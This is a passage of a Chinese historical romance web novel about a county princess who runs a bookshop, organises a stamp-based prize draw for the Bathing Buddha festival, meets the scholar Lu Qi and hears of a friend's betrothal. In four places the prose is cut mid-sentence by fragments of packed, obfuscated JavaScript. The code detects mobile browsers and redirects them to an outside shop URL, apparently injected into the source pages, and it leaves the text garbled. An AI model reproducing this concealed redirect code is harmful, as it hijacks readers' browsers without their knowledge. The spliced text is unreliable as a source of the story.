待糖全部化开，陆祈轻声说道：“书铺的事情慢慢来就好，不必着急。有用得到的地方，县主随时找我就可。” 李铮扫了眼陆祈，又扭头看向斜前方探出来的枝桠，笑着说道：“多谢你的关心啦，今儿好像是有一些急切。我太想做好了。” 陆祈：“太想做好的时候都一样，我之前学堂考试也是。最开始考前经常辗转反侧，太想考好了，接受不了失败。后来考砸一次，我就愣过来了，太想做好，反而容易出问题。” “失败也没什么，就和考试一样，考不过就下次再考。” 李铮听到他说考砸，惊讶地当即转头：“你还考砸过？” “当然。”陆祈有些哭笑不得：“在县主心里，我是从无败绩吗。记得头一回见面，你就问过我是不是被罚站过。” 李铮有些羞赧：“我以为年纪轻轻考上秀才的人，都是神童呢。神童怎么会被罚站，怎么会考砸？” 陆祈：“只能说是擅长读书，算不上神童。县主也很厉害，知道自己想要什么，也不嫌辛苦，来回奔波。” 李铮嘴角扬起，声音里透着雀跃：“多谢你的夸奖啦，我也觉得自己挺厉害。” 又忍不住笑着补了句：“好像有些不够谦虚。” 陆祈：“县主说得都是实话，不用谦虚。” 巷子口到了，和来时一样，陆祈骑马跟在车驾侧方。 两人都没说话，快到书铺时，李铮突然凑到窗子前：“陆祈，你要有事要忙，就自去忙吧。反正庄师傅也已经答应了。” 停顿了下，又接着说道：“若是无事，要不要一起去吃个饭，我知道一家好吃的淮扬菜馆。” 陆祈扯了下缰绳，人离车窗更近了些：“县主是真心邀请吗？” 李铮连忙点头：“自是真心，咱们已是朋友了，只是怕误了你的事，你若方便，我们先去吃些东西，再去我的书铺走走。你还从未去过呢。” 陆祈：“县主怎么知道我没去过。” 李铮：“猜测而已，五柳斋之前生意一般。” 陆祈垂眼看向李铮，极快地笑了下，轻声说道：“这回猜错了，之前还是来过一次的。” 李铮看了看他眼角的小痣，不和他一般计较。 店里十分雅致，还能听到隐约传来的丝竹声。陆祈脚步微顿，略迟疑了瞬，还是跟在李铮身后走了进去。 等两人吃完饭慢悠悠地到书铺时，庄师傅还没到。 李铮也没让张大掌柜跟着，简单说了下庄师傅的情况，又特意叮嘱，等庄师傅到了，记得让人喊她。 随后李铮就自己领着陆祈逛了逛书铺。铺子不大，李铮想了想，最后带着陆祈去了二楼靠窗的静室。 周嬷嬷泡了些蔷薇花茶，馥郁清甜。 两人都没说话，就这么悠哉悠哉地对着窗外喝茶。 太阳暖洋洋的，晒得人舒服极了。原先板正的身体，开始不自觉地倚着靠背。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112325|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 突兀的敲门声传来，打断了这股自在的氛围。原来是庄师傅到了。 后院里，庄师傅正捏着先前的样书，细细打量。 身后跟着好几个工匠，他们凝神屏气，连呼吸都放轻了。一时间院里静悄悄的，只剩庄师傅翻页的声音。 半晌，他才抬眼，沉声道：“你们这是用的张记的楮皮纸。雕版在哪里，再引我去看看。” 话音一落，一行人又簇拥着庄师傅，去西侧偏房。 房间里靠墙立着数个版橱，一名年纪稍长的刻工快步上前，侧身指着其中一个：“庄师傅，这话本的雕版都在这儿了。” 说完便伸手想去拉开橱门，被庄师傅摆手示意停下。 庄师傅走上前，用手指敲了下橱身，打开橱门，里头竖排的木版挨挨挤挤，占满了整层架面。“拿一块出来。” 一旁的刻工应了声是，连忙小心翼翼地取出一块来，刚要呈给庄师傅看，却听到吩咐：“到院外去，找个开阔的地方，摆在榆木桌上。” 一行人又浩浩荡荡去了室外，榆木桌一摆稳，庄师傅便接过雕版细细打量，时不时还会上手摩挲，轻敲几下雕版。 沉吟片刻，庄师傅终于开口了：“楮皮纸质地紧实光滑，吸墨性好。但是对雕版要求高，字口有毛刺、刻痕深浅不均，印出来便会有明显瑕疵，比如这个“柳”字，有毛刺；这个“花”字，是后面几笔刻浅了。” 说完，庄师傅又让伙计把他的工具箱拿过来，箱子上到处是刻痕，一看就上了年头。 庄师傅拿出把细刻刀，开始修雕版。虽然头发花白，但他手上力道稳而准，下手毫不犹豫，刷刷就是几刀，院中一时只剩下刀刃刻入雕版的声音。 修完，转身取出小刷子，轻轻扫去木渣；再拿出软布，轻轻擦拭。 有条不紊地打量了一番，确认无虞后，拿出楮皮纸覆上，再用鬃刷轻轻拍打。 稍待片刻，揭开一看，果然字迹清晰，颜色均匀，没有毛刺，没有杂点。 微微颔首，庄师傅将纸张，递给李铮：“这般估摸着就行了，县主您看下。不过不是所有雕版都有修的余地。” 说完手上动作不停，又去印了一张，递给众人。 众刻工连忙围上，接过样纸细细翻看，一边看一边频频点头。这庄老师傅，不愧是国子监出来的好手，手艺是真好。要知道改雕版比新刻还复杂，一不留神就全白费了。 李铮轻轻点头：“嗯，劳烦庄师傅了。辛苦待会把雕版都看下，能修则修，不能修就重新刻。倒也不用你亲自动手，指点铺子的刻工也行。” 看众人还在小声交流手艺，李铮也没打扰他们，示意陆祈跟上，两人便出了后院。 “会不会觉得无聊？”李铮笑着看向陆祈，目光轻轻打量着他。 “不会，很有意思。” 李铮：“那就好！” 忽然想到浴佛节要到了，话锋一转笑着问道：“差点忘了，浴佛节快要到了，那日你可有安排？届时锦帙精装本应该好了，你若方便，正好当面交给你。” 陆祈迟疑地看了李铮两眼，点头应下。 李铮：“那就这么说定了！还是今日这个茶馆，时间到时再约。” 20. 一波三折 送走陆祈，李铮转身又回了书铺，打算和张大掌柜商量下浴佛节的准备。 一楼客人不少，时不时有来问话本的。桂丫正在理书，见李铮去而复返，连忙凑到跟前，殷勤问道：“县主，有何吩咐。” 见她跟在身后，李铮轻声问道：“这两日话本销量如何。刚我观望了一会儿，新进来的客人，也能买到。” “回县主，最近这两日，也能当日卖完，但要到下午了，不像头几天。” 李铮：“正常，现下就看话本口碑如何了。单我们觉得好看算不得数，须得客人也看着好才成。” 这厢正说着话，后院的张大掌柜也小步快跑赶过来了。 一楼大堂不好议事，三人又转去二楼雅间。 喝了口茶，李铮朗声问道：“锦帙精装本，浴佛节前可还能出来？庄师傅可有把所有雕版都看一遍？” 张大掌柜：“回县主的话，刚庄师傅已经都看了一遍，大多数都能修，只有一两张雕版要重新刻。浴佛节前的话，时间肯定没问题。” “谁来修，定了吗？” “小的跟庄师傅确认了，头几张他来修，一边修，一边教。这几个铺子里的老刻工，若能学会，雕的样版过了他这关，便可上手修，不然就还是他自己来。” “这庄师傅可真厉害，铺子里的老刻工，都被他训得说不出话。他们非但不恼，还激动得很，一个个都想着拜师学艺呢。这年头好师傅可不好找。” 李铮听他夸赞，嘴角忍不住上扬，这可是自己大老远特意请来的：“他是国子监出来的，几十年的老师傅了。你们待他一定要尊敬。” 张大掌柜笑着应道：“那是自然，咱们铺子好不容易来个厉害师傅。” 想到前两日提的话本才人题字的事，李铮问道：“题字版现下什么章程，哪天对外吆喝。” 张大掌柜回道：“备了八百根竹筹，一本四百。凭书兑换，一册一根，抽奖当日凭竹筹领奖。” “没中奖的客官，竹筹不归还怎么办。” “现下卖出去的话本远不止八百册，往后再印新话本估摸着也要抽奖，是每次都打算重新做吗？” “还有一点，八百根竹筹个头比较大，想好到时怎么抽了吗？” 张大掌柜被问得有些愣住，一时不知如何回答，他就是按照以前的法子准备的，根本没想那么多。 李铮见他被问得哑口无言，没多说什么，只沉声说道：“抽奖是我们经常要用的，一定要想个方便好用的法子，这些都是我们日后的回头客。” 张大掌柜连忙答道：“小的回去一定好好琢磨。” 桂丫也不住蹙眉思考，要尽量能反复用，本钱不能太高，个头还不能太大。 思忖片刻，李铮又沉声说道：“明日打烊前，若还是想不出新章程，这次就先用竹筹，不能误了浴佛节。” 张大掌柜和桂丫，暗暗松了口气，齐齐点头应是。 走出书铺，绷了大半天的弦总算松下来，李铮觉得有些乏了，忙让周嬷嬷安排回府。 一到卧房，小丫鬟就轻手轻脚上前，先解了两边珠花，又卸下头上插的步摇和金钗。叮叮当当落在妆奁里，好不热闹。 头皮猛一松快，李铮歪在梳妆台上，有气无力说道：“下回若是平日出门，就不必戴这么多首饰了。” 又和身旁的周嬷嬷说：“原先还不觉得，这一忙书铺，感觉首饰都变沉了。下回娘要是来问喜欢什么，一定记得回她，说我喜欢轻巧的。” 周嬷嬷立在身旁，手上捏肩动作不停，连声应着：“好好好，我定记得跟夫人说。您快换身轻便衣服，再让小丫鬟帮您松快松快。” “明日，您还去老夫人那不。” “去，怎么不去。明日我若是没起来，嬷嬷一定记得叫我。不能再这么偷懒下去，我得好好跟着祖母练，省得书铺一忙，就累得不轻。” “好，我定记得。” 第二日一大早，嬷嬷来喊的时候，李铮睡得正香，叫了两三遍，都没起来。 末了起身时，整个人是被嬷嬷半架着换的衣服，换罢衣服，丫鬟端来热水净面之后，这才慢慢醒过神来。 到了寿安堂，老夫人已在院中立着。敛了倦意上前，开始跟在江老夫人身后，慢慢打拳。 小半个时辰过去，筋骨舒展。李铮感觉自己神清气爽，比先前通透多了。 早点，小厨房送上来的是槐叶冷淘，配了醋，撒了香油，还有芝麻花生碎，看着就爽口开胃。 “今这冷淘做得不错，看来这浴佛节也快到了。” “祖母，我们书铺浴佛节还安排了抽奖活动。中了彩头的，话本才人帮你题字。”李铮边说，边帮江老夫人倒了茶，眉眼间带着压不住的雀跃。 江老夫人拿着茶杯，打趣地望向李铮：“你现下，可真是满脑子都是你的书铺。” 李铮闻言，忙凑上前，伸手晃了晃江老夫人的胳膊，不服气地说道：“哪有，除了书铺，还有祖母呢。我现在一心盼着祖母的游记。” 江老夫人见自己反被将一军，无奈又好笑地抬手，点了点李铮的额头：“你呀你，鬼灵精怪的，横竖都是你的理。” “都是祖母教的好。” 吃过早饭，李铮也没多待，回到自己院子，让丫鬟备好躺椅，开始怡然自得地晒起太阳。 她打算先享受一会，再去琢磨该怎么抽奖。书铺的事情也不是一日之功，慢慢慢慢来吧。 一阵风吹来，树叶哗啦作响，李铮迷迷糊糊醒来。 又闭目养神了会，伸个懒腰，慢悠悠地起身，踱步去到书房，她打算琢磨下抽彩头的好法子。 丫鬟点了香，她的思绪也随着香气飘远。 到底怎样才能确保，每人不重号，发出去的竹筹，别人也愿意归还呢。 想让别人主动归还，最好能给点好处。考虑到本钱，最好是能反复利用，单价又低。 目光飘飘洒洒，落在了印章上，这是去岁自己专门找人定做的，上面印了平安喜乐四个字，还带着自己喜欢的柿子纹路。 印章，为何不考虑用印章呢。 一本书一个章。章面刻书名， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121109|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边角刻图案。 《月满西厢》刻月亮和楼阁剪影。 《水榭迷案》刻芦苇和主角剪影。 越想眼睛越亮，以后书铺的话本，都该刻个专属的章。 客人在书铺买完书，抽根竹筹。 伙计把竹筹上的数字印在书上，再盖个漂亮的章，保准让客人满意。 说不准日后买书的客人，还会专门来盖她们铺子的章。 拿定主意，李铮当即扬声唤人备车，一刻也没耽搁，径直去往书铺。 书铺二楼雅间。 坐在雅间椅子上，目光扫过立着的张大掌柜和桂丫，李铮没寒暄，干脆利落地说道：“抽奖的事，我想了个法子，用印章来做。” 张大掌柜闻言心神一动，忙躬身说道：“县主您讲，小的仔细记着。” 桂丫也忙敛神，双手交叠放在身前，准备凝神细听。 李铮指尖轻叩椅沿，语气不疾不徐，开始和盘托出主意：“竹筹刻号发于客人，这个不变。但是竹筹当场便要收回。伙计将竹筹数字，印在话本上，紧接着再盖上话本的专属小章。后续开奖喊号，皆以话本上的印鉴为凭证。二者缺一不可。” “这章找熟手来刻，比如《月满西厢》刻些月亮和楼阁剪影。” “竹筹用于抽奖；印章只要是买了书铺话本，就能盖。” “以后印章便是书铺一大特色。” 想到会有人浑水摸鱼，她又叮嘱道：“竹筹数字周围，记得刻上暗纹，纹路对不上的，不算数。话本专属章也是一样，有缺失或模糊的，皆不作数。” 桂丫听得眼前发亮，小声插话：“县主，这主意真好，比单发竹筹好多了。省得有人钻空子，浑水摸鱼。” 李铮笑着又看向张大掌柜：“刻章之事，找个靠谱匠人，浴佛节前刻好。刻完务必记得一一核验，不可出差错。还有竹筹一定定期清洗查验，纹路模糊，就及时补刻。” “印章同时刻两枚备用，印泥也挑细腻些的。让伙计先练上几遍盖印，省得到时盖不好。” 张大掌柜点头应下：“县主放心，小的这就去安排，刻章、收筹、验收的规矩，定记牢了，保准不会误了浴佛节的正事。”心里还有些感慨，县主不愧是县主，威仪愈发重了。 桂丫见李铮茶杯空了，连忙上前倒茶：“有这法子，浴佛节的抽奖定能安安稳稳。” 李铮抿了口茶，笑着说道：“要的就是安安稳稳。” “章一好，就通知客人来，尽量留足时间。省得抽奖时，有客人埋怨自己没收到信。” 张大掌柜皱眉思考片刻，随即沉声道：“县主，直接定个规矩如何，比如初七之前，头八百名来领筹盖章的客人，才有抽奖机会。” 他顿了顿，又禀道：“咱们把规矩明明白白定好，再找来上次的半大孩子，去街坊巷里吆喝两天；店铺门口，也贴上大红告示；这样就算领不到，旁人也挑不出铺子的错。” 李铮听罢，当即颔首同意：“这主意不错，就照这个来吧。咱们把规矩定好，告示写清，省得后期乱了章法。” 21. 浴佛节至 过了两日，张大掌柜便差人送了信，言竹筹和印章都已准备妥当。还雇了之前的半大孩子，走街串巷吆喝。 担心铺子有事要定夺，李铮纠结了下，还是打算去铺子瞧瞧，毕竟这是自己头回经营铺子。 早上她照例去了祖母那里练拳，一块吃早食。最近小厨房送上来的槐叶冷淘，拿筷子把面缠起来，一口咬下去，芝麻碎裹着冷面，再趁上槐香，好吃极了。 吃完冷淘，再慢悠悠走到小花厅，跟在张氏身后，看她如何安排下人做事，如何做到赏罚分明。偶尔张氏会交给她些小活计，让其练练手。 因着今日惦记书铺，李铮没在花厅待太久，换了身轻便衣裳，简单簪根钗，便往书铺去。 还未到书铺，自家伙计响亮的招呼声已经传来。 一下马车，抬眼望去，乌木招牌下，已三三两两站了不少人。拿折扇的郎君，牵稚子的妇人，也有不少年龄不大的女娘。手上皆拿着自家话本，兴高采烈地交流着什么。 走近前去，听了两句，原来是在交流书中人物。 走出两三步远时，甚至还听到了一道义愤填膺，控诉《月满西厢》为何各自婚嫁的声音。旁边几人纷纷附和。 李铮回头瞅了一眼，看着他们激烈讨论的模样，脚步不自觉放轻。 带着隐秘的欢喜，她去到二楼靠窗静室，双手轻搭窗沿，静静注视窗外。 可没过片刻，李铮眉头不自觉皱起，人怎么越来越多，都挤在一起。这么多人，秩序可一定得管好。 这边李铮正皱着眉，那边张大掌柜也感觉不妙，怎得一下来了这么多人。领筹，交筹，盖印，人太多，伙计有些手忙脚乱。 正要唤人请示李铮，便见她已经下楼。 底下的人，比在楼上瞧着还要多不少。两张领筹案几前都排了长队，伙计们拿着印筹，一边发号，一边盖章，一边还要应付客人。 偏生客人仍觉速度慢，在不停催促。时不时听到有人抱怨：“怎生如此慢。” 这一催促，伙计愈发手忙脚乱起来，额头都沁了薄汗。 张大掌柜也在帮忙递筹，见李铮下来，连忙走到跟前，一边擦汗，一边着急忙慌说道：“县主，人一时有些多，都赶在一起，伙计们跟不上。” 李铮立在一旁看了会，发现领筹时走得还可以，但刻印竹筹数字、盖话本专章时却很慢。这一快一慢，也难怪客人抱怨伙计手脚不够麻溜。 转身看向张大掌柜，她沉声道：“一张领筹长案，再各加两张案几，分别用作刻印竹筹数字和盖章。每个桌子都配个伙计，一个伙计只做一件事，省得他们手忙脚乱出错。” “这主意好，小的这就去安排。”张大掌柜听得眼前一亮，茅塞顿开，躬身就要往外走。 “且慢。”李铮喊住他，“你亲自盯着添案加人，务必让三处进度齐整，快的缓一缓，慢的紧一紧。别乱了次序，漏了章。” “县主放心，小的亲自去盯着，保证妥当。” 见自家爹应声退下，桂丫忙上前一步：“县主，昨日估摸着有个半大小孩吆喝错了。” 目光扫过眼前的队伍，李铮抬手止住她的话：“去雅间说。” 到了雅间，李铮看了眼桂丫，轻声提醒道：“便是出了差错，也尽量不让客人都知道。” 桂丫一脸懊悔，抿紧了唇：“小的下次一定注意。” “说吧，究竟怎么回事。” “头一桩，有客人说昨日那小孩吆喝的是初八领筹，今日他路过看到已有人排队，便觉得是我们做事没做好。第二桩，刚才有个章不小心磕了一角，还继续用吗。第三桩，刚听您说要再加案几，那伙计可能不够用。除了领筹盖章的，铺子里也要留有伙计。还有就是印泥，原来只备了两盒，没想到会一下来这么多人，加了案几之后就不够用了。” “那几个孩子嘴甜记性浅，我猜着，许是记错了时辰，回头再叮嘱他们一遍。不过也可能是这客人有意胡搅蛮缠。” 端起茶来喝了两口，想了片刻，李铮干脆利落吩咐道：“先去隔壁买上两盒印泥。买完回来，把店里的学徒杂役叫出来帮忙。他们不熟悉盖印，但能帮着发竹筹、理竹筹。这样伙计就能腾出来，专门负责刻印数字、盖章。” “磕到角的印章，立马换上备用章。大致记住从哪里开始磕碰，从哪里开始换备用章。省得抽彩头当日又生波澜。” “门口那位抱怨吆喝错时辰的客人，好好安抚，把门口的大红告示指给他看，礼数做到位。不用纠结到底是谁错了。” 说到这儿，她又转身看向金竹：“待会，你出铺子，把巷子口吆喝的半大小孩，都再叮嘱一遍。四月初七申时截止领筹，每本书四百筹，先到先得。领奖是四月初八浴佛节，巳时。千万别记岔时辰。” 桂丫和金竹不敢耽搁，点头应是，小跑着各自去忙活。 一旁周嬷嬷，见自家县主，指挥得不慌不忙，镇定自若。一边添茶，一边笑着夸赞：“县主，您这些日子可是大变样，我瞧着是愈发有条理了。咱们这书铺，说不准日后能成为，城里数一数二的大书铺呢。” 李铮笑着点头，眼神带着期盼。 侧耳倾听，伙计吆喝声，桌子摩擦声。慢慢地嘈杂声变小，应是挪好了。 低头看向窗外。队伍走得比原来快不少，铺子前聚的人总算少了点。 张大掌柜又准备了茶水，排累了的客人，只要喊一嗓子，就有杂役送上茶水。队伍间，用红布条隔开，省得有人插队，也省得有人弄不清该往哪排。 队伍里少了抱怨，有的紧盯前面的队伍，有的比较放松，时不时和前后同好，交流两句书中人物。 盖完章，仍有不少人舍不得走，站边上继续交流。平日里，哪会有这么多话本同好，这下全聚一块来了。 看着楼下说说笑笑的人群，李铮脸上也不自觉露出了笑容。 此后两日，这领筹盖章之事，都进行得顺顺利利。 没等到初七下午，八百根筹就已全部发完。后面来的客人，见竹筹没了，有些郁闷，但也知晓，这怪不着别人，只能怪自己来得晚。好在话本专属章还挺好看，自我安慰一番，没有白来。 为了抽奖，张大掌柜还制了个大的竹筒，竹筒能放50根筹，到时一个竹筒抽四根。 抽中谁，谁得彩头。 担心抽奖出岔子，他还带着伙计提前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133766|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 演练了几番，抽筹、唱号、验印、发放彩头，免得到时手忙脚乱。 转眼便至浴佛节，大街小巷都比往常热闹多了，路上行人一边说笑，一边走路。 人一多，摆摊的小贩自然也多起来，吃的、喝的、玩的、用的，不一而足。 五柳斋的乌木招牌，特意挂上了鲜亮彩绸。铺前摆了张方桌，上面放着抽奖用的竹筒。 往里走，铺内放了四张案几。离门口近的两张，分别用来验号、验印。剩下两张摆了话本才人题字要用的笔墨纸砚。 伙计、杂役都分了工，换上干净的蓝布衫，个个精神抖擞。 辰时还未到，店铺门前便围满了人，连旁边铺子前都站了等待抽彩头的客人。 张大掌柜，穿着簇新的长衫，胡须一看就刚修剪，头上还擦了头油，整个人容光焕发。 吉时一到，伙计大力敲了声锣，张大掌柜清了清嗓子，大声说道：“诸位客官。浴佛节已到，今日便是抽彩头的日子。老朽再重复下抽奖章程，百抽中八，喊到编号的客官，进店凭话本上的双印验明身份，再领奖品。” “头奖一名，彩头是小店新出的锦帙精装本，附带话本才人题字。” “次奖五名，彩头是普通本话本一册，附带话本才人题字。” “杂奖是话本才人题字，以及各色小物。” “章程说完，诸位且听好，老朽这便开始抽了！” 使劲摇晃竹筒，抽出一根筹，边上一健壮伙计，接过筹，大声唱号：“六十八号！六十八号！” “是我！是我！”人群中一女娘惊呼。 众人一边向她看去，一边给她让道。 这位娘子高兴极了，身旁的嬷嬷帮她开道，她跟在身后往前冲。 一个又一个号被唱出，伙计验印确认真伪、话本才人签字、桂丫发放彩头，一切井井有条，忙中有序。 忽然人群中一阵欢呼，原来是大奖被一位郎君抽到。他是和几位同伴一块来的，从衣着来看，应是富家子弟。 几人带着笑一块进了书铺，中奖的青衣郎君接过锦帙本，不住翻看，看到题字，还特意指给同行之人看。 其中一位见不得他得瑟，当即便问桂丫：“这锦帙本怎么卖的，给我来一册。得和他的一模一样，不能题我就不要。” 中奖郎君，手搭在这要买书郎君的肩头，慢条斯理说道：“我是手气好，白得来的，你是自个花银钱买，咱们两个可不一样。” “你说，下回考前我押些题，有同窗愿意买吗？也不多要，二百文即可。” 买书的郎君没忍不住，翻了个白眼，大概是知他本性，没继续搭话。 桂丫憋住笑场的劲儿，笑着答道：“卖得，一两银子一册。” 说完唤了个伙计来，让其接待，她还得继续发彩头呢。 抽彩头办地有条不紊，李铮心头畅快极了，像三伏天，吃了刚从冰窖里拿出来的西瓜一样。 心头松快间，忽然记起，前几日还跟陆祈约了浴佛节相见。这会过去，时辰应该刚好。 见完陆祈，再去见云秀，她信里一副神神秘秘的样子，说有大消息要透露，也不知到底是什么。 22. 再相逢 因着今日是浴佛节，李铮也不着急赶过去。途中兴致来了，还特意下车买了两个磨喝乐。 到了茶馆，沿着木制台阶，一步一步向上走。 拐过转角，忽见二楼走廊处侧立着一道身影，瘦削，高大，因着逆光看不出衣衫颜色，但李铮猜想这应是个清隽郎君。 脚步更轻快了，忽听一道清冽声音：“县主。” 这下总算看清了，原来那是陆祈啊。 “陆祈！” 李铮有些惊讶，“方才差点没认出是你，只看到背影。下次定不会这样，下次我定能认出来。” 陆祈见她仰头看向自己，对自己说话。 砰。 砰。 心跳倏的变快。 眼前之人，周身像是带了光。 不过想到两人身份，他脸上的笑黯淡了些。 还是要多努力啊。 希望桂花开时，能有好消息。 李铮见他愣神，伸手在他眼前晃了晃。 猛地回神，他拱手低声道：“抱歉，方才不小心走神，失礼了。锦帙本可是已经做好了？听说今日上午，书铺还办了抽奖活动。” “是的，还多亏了你介绍的雕版师傅，他手艺很好。不过你的消息很是灵通！我才从书铺过来。” 不自觉轻咳了下，陆祈轻声说道：“县主书铺，现在关注的人可不少。我的同窗好友还有家中亲人都会时常提到。所以无需多灵通，就能知晓。” 李铮忍不住扑哧一笑：“好好好，我已知晓。不是你灵通，是我的书铺名气太大。” 陆祈略有些不好意思，拿手掩了掩唇。 看着李铮递过来的话本，他略带犹疑地问道：“这是送我的吗？” “当然，你可是大功臣。” 陆祈语气都郑重了起来：“县主放心，我会好好珍藏的。” 李铮有些哭笑不得：“那倒也不用，书就是用来看的。我更喜欢你喜欢我出的书。” 陆祈被一连串的喜欢整地有些懵，呆呆点头。 李铮见状，又拿了个磨喝乐递给他：“这个也送你吧，我刚路上买的，不是什么值钱东西，胜在有趣。” 陆祈讷讷接过，揣进怀中。看来下次自己也要准备。 “怎么变呆了。” “还未收过小娘子的赠礼，有些不太习惯。” 李铮顿时笑得更开心了。 陆祈被她感染，逐渐放松下来。“县主接下来打算去哪儿？” “我要去相国寺，约了两个朋友一起逛花市。听说那里的蔷薇开得漂亮极了。你呢？” “巧了，我也要往那边去，家母与舍妹正在寺中礼佛。” “说不准，待会我们还能碰到。我先移步，再不走，朋友们就该等急了。” 两人便一前一后下了台阶，离开书铺。 李铮到花市时，云秀和宝珠都已经到了。 快步上前，拍了拍两人的肩膀：“二位娘子，可是在等我。” 两人猛地被吓一跳，听到熟悉声音，连忙回头。见是她，宝珠笑着打趣：“这是哪里来的郎君，我们可不认识。” 有路人听到，还扭头扫了她们几眼。 “我们接下来怎么安排？” “阿秀你信里神神秘秘的，到底是什么，快说与我们听听。” 两人一左一右，挽住云秀手臂。 云秀挣脱不开，语气也有些吞吞吐吐：“我们去花铺小阁坐会吧，等到了那儿，我就告诉你们。” 三人便一同往花铺走去，路上人很多，虽有仆人开道，但还是走得很慢。 花市里，半是挑担摆摊的小商贩，半是挂着花铺招牌的正经门面。挑担的多是卖些山间野牡丹，或是自家种的时令鲜花。 那些门面卖的种类可就多了去了。晚牡丹，蔷薇，茉莉，样样俱全。 便是同是牡丹，也是各种颜色都有，开得五彩缤纷、热热闹闹，瞧着就让人心里欢喜。 探路的丫鬟，没一会小跑着回来：“县主，前面有家花铺，大且不说，还有小阁，小阁还备了冰的甘草水，清静得很。” 地点定了，几人便不再耽搁，径直往花铺走去。 春华阁到了。 一进门，水汽便扑了满脸，明显比街上要凉快几分。 迎着水汽，穿过月洞门，就到了小阁。菱花窗半开着，窗口向下垂着几盆吊兰，米白色的小花，风一吹，颤巍巍地抖着。 入了小阁刚坐下，伙计就端上来几盏还冒着凉气的甘草饮子，盏外沁着水滴，盏内浮着两朵新鲜的茉莉花，闻着就甜丝丝的。 一口饮下，透心凉，舒服极了。 招呼丫鬟去门外守着，屋内只剩她们三个。 因着这阁楼离街巷远，又有许多绿植鲜花挡着，所以很是安静，只能听到窗沿下风铃的声音。 李铮双手按住桌沿，微微弯腰前倾，直视云秀：“快快如实招来，到底是何事，如此神秘。” 宝珠也跟着学了一遍。 指尖摩挲了几下茶杯，清了清嗓子，云秀开口说道：“近些日子，我娘在给我议亲，前前后后也相看了好几个，总算碰着一个合心意的。” 李铮正夹了一块凉糕，闻言手一抖，凉糕直接啪嗒掉回盘子里。 宝珠眉毛倏的上挑，眼睛都瞪大了。 两人对视一眼，齐齐张口追问：“是谁！” “是我舅妈的娘家侄子，今年二十岁。” 两人身子稍倾，七嘴八舌追问起来，话头一个接一个。 “有功名没？” “长相如何？” “做何营生？” “你们打算何时定亲？” 最后又打趣一句：“总不能连成亲的日子都定了吧！” 李铮声音都不自觉扬高，震惊不已，难道云秀这是要成亲了？ 云秀被这一连串急切的问题，缠得有些哭笑不得。 想了片刻，她开始一个一个回答。 “长相还算可以，瞧着挺顺眼。” “去年刚得了秀才身份，偏生他喜欢营造之术，所以直接恩荫入仕，去了工部任主事。” 顿了顿，她又笑着说道：“他说，今年不参加秋闱，打算再沉淀三年，积累些实务经验，再去应试。” “京官好呀，省得日后外放，咱们跟着聚少离多。” “一边做官，一边科考，也不错。而且工部勾心斗角少些，日子更安稳。” “对了阿秀，你们二人相处得如何，他家关系可还复杂？他可有什么知己红颜？” “他家关系简单，只有个哥哥，已经外放做官了。” “没什么红颜知己，平日里他喜欢关在房里一个人琢磨营造术，最爱看的书就是《营造法式》。” 李铮忽地愣住：“该不会他就是前两日我去你家，你提到的那个朋友吧。” 云秀有些不好意思的点了点头。 “那你们日后就可以一起研究木作了，不错不错。” “不过你突然喜欢木作，该不会也是因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145650|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为他吧？” “这倒不是，你开书铺后，我也想自己做点事情。正好书房看到营造相关的书，看着有趣，就慢慢研究起来了。” “后面我和他认识后，会时不时交流营造术，渐渐也就熟络起来了。” 二人见她眉眼弯弯，柔声细语地介绍那个议亲郎君，便知她对那人已十分欢喜。 宝珠想了想，问道：“你们打算何时定亲呢。” “他家正打算托媒人来合八字，估摸着定亲还要一个月。” 好快啊。 李铮和云秀不约而同想到。 一成亲感觉就变成大人了，三人年龄相仿，没想到云秀突然就要定亲。 之前一直觉得成亲离自己很远，现下看来，是近在眼前啊。 就像一条洪流，滚滚而来。 大家要面对的洪流，各自不同。只有真正面对，才能知道它的真面目。 该回神了，李铮猛地回过神来，连忙道贺，送上祝福。 正事聊完，三人开始絮叨起闲话来。 李铮细细打探了定亲细节，她自己没定过亲，正好现下云秀最先定亲，便忍不住问起各种细节来。 宝珠则是再三叮嘱定亲宴、纳征礼一定要喊上她们。 